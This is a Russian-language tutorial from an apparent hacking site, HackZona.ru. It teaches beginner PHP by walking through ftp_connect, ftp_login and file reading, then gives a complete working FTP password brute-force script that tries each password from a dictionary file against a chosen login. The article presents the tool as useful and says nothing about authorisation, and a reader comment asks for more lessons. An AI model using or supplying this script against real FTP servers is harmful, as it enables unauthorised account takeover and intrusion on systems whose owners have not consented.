Прикладной PHP кодинг(Урок 1) — HackZona.Ru

Прикладной PHP кодинг(Урок 1)

Прикладной PHP кодинг(Урок 1)

Тип статьи:
Со старой ХакЗоны.
Источник:
Введение: На написание цикла статей по этой теме меня сподвигла лёгкая ностальгия по perl'у. Перл то, уходит понемногу, а его место занимает php. Да, у php меньше возможностей в некоторых областях. Эксплоиты на нём, например особо не попишешь, но в плане веба, превосходство php очевидно.
Также, небольшие прикладные программы пишутся на нем очень хорошо, и зачастую проще, нежели на перле.
Сразу скажу, что статьи оренированы на новичков, но не на тех, кто не знает что такое php и что делает if. Так же предпологается, что у читателей на компьютере уже установлен и настроен php интерпретатор(скачать можно на http://php.net)

Тема урока:«ftp bruteforcer»
Краткое описание:
Начинать надо с чего-нибудь несложного, и притом полезного. Как раз к таким вещам оносится брутер для ftp.
Что делает: Брутит пароли к определённому логину по словарю. Жрёт мало памяти, нетребователен к ресурсам.

ТП:

2 функции для работы с фтп:

ftp_connect($host,$port,$delay)
Устанавливает соединение с указаным сервером на указаный порт.
В случае успешного коннекта возвращает дескриптор.
Если же за указаноое время $delay соеденение не установлено, возвращает false

ftp_login($descriptor,$login,$pass)

Осуществляет вход на сервер.
Если вход произведён, возвращает true. Иначе, возвращает false и закрывает соединение.

Например:
$ftp = ftp_connect(«localhost»,21,100) or die(«Can't connect»);
ftp_login($ftp,«test»,«12345») or die(«Login incorrect»);


Эти 2 функции и будут основой брутера.

Считывание паролей из словаря:

Открытие файла:
Открытие осуществляется функцией fopen($filename,$mode)
При успешном открытии возвращает дескриптор для дальнейшей работы.
Иначе, возвращает false.
В качестве $mode мы будем использовать «rt», что значит открытие файла на чтение в текстовом режиме.

$dict = fopen(«passwords.txt»,«rt») or die(«Can't open dictionary»);
die() — завершает работу сценария с выводом сообщения.

Чтение строки:
Чтение в текстовом режиме производит функция fgets($descriptor,$number)
Она читает $number символов из текущей строки и переводит указатель на следущую строку.
Если параметр $number не указан, то читается вся строка(вместе с символами перевода каретки и новой строки).
Для того, чтобы исключть эти символы, используется функция chop($string), которая исключает все пробельные(" ",«r»,«n»,«t»,«v») символы из конца строки.

Проверка на конец файла:
Используется функция feof($desciptor), которая возвращает true, если достигнут конец файла
while (!feof($dict)) {
$pass = chop(fgets($dict)); }

Цикл while работает до тех пор, пока не достигнут конец файла и по очереди записывает каждую строку в переменную $pass. Это основная идея брутера.

Приостановка сценария:

Для приостановки используются 2 функции: sleep($num) и usleep($num)

Различие в том, что sleep() принимает параметр в секундах, а usleep() в миллисекундах
Это всё, что надо знать. Теперь делаем саму программу.

<?php
//////////////////Configuration////////////////////
$host = 'localhost'; //Сервер, который брутим
$port = 21; //Порт
$delay = 100; // Таймаут на установку соединения
$pause = 50; //Пауза между соеденениями (в миллисекундах)
$login = 'user'; //Имя, которое брутим
$dictionary = 'passw.txt'; //Файл с паролями
ini_set(«display_errors»,«0»); //Это чтобы при каждой неудачной попытке входа на фтп не вылезало предупреждение////////////////////////////////////////////////////

echo «ntttFTP BRUTEFORCERnHost: $hostnPort: $portnUser: $loginnn»; //Выводим заголовок и информацию
$dict = fopen($dictionary,«rt») or die(«Can't open dictionary: $dictionary»); //Открываем файл с паролями, или выдаём ошибку.
$count=1; // Устанавливаем счётчик паролей
while(!feof($dict)) {
$ftp = ftp_connect($host,$port,$delay); //Коннектимся
if (!$ftp) {echo («Can't connect to servern»); usleep($pause); continue;} //Если приконнектится не удалось, говорим об этом, ждём, и пробуем еще раз
$pass = chop(fgets($dict)); //Считываем пароль
if(ftp_login($ftp,$login,$pass)) //Пробуем авторизоваться
die («nPassword found: $pass»); // Если авторизовались, говорим, что пароль найден и завершаем работу
else { // Иначе
echo $pass; //выводим текущий пароль
if (strlen($pass)<20) {for ($i=0;$i!=20-strlen($pass);$i++) echo ' ';} //Выводим кол-во пробелов, недостающее до 20 (для красоты)
echo ": $count passwords checked, brute...n"; // Показываем счётчик, говорим, что брутится
$count++; //Увеличиваем счётчик
usleep($pause); //Делаем паузу
}}
echo «nPassword not found :(»; //Если мы оказались здесь, значит ни один пароль из словаря не подошёл, о чем и сообщаем.
?>


Вот и всё пока.
Продолжение следует.

Нравится
Не нравится

1 комментарий

00:45
Будем ждать продожения, довольно интерестно)))))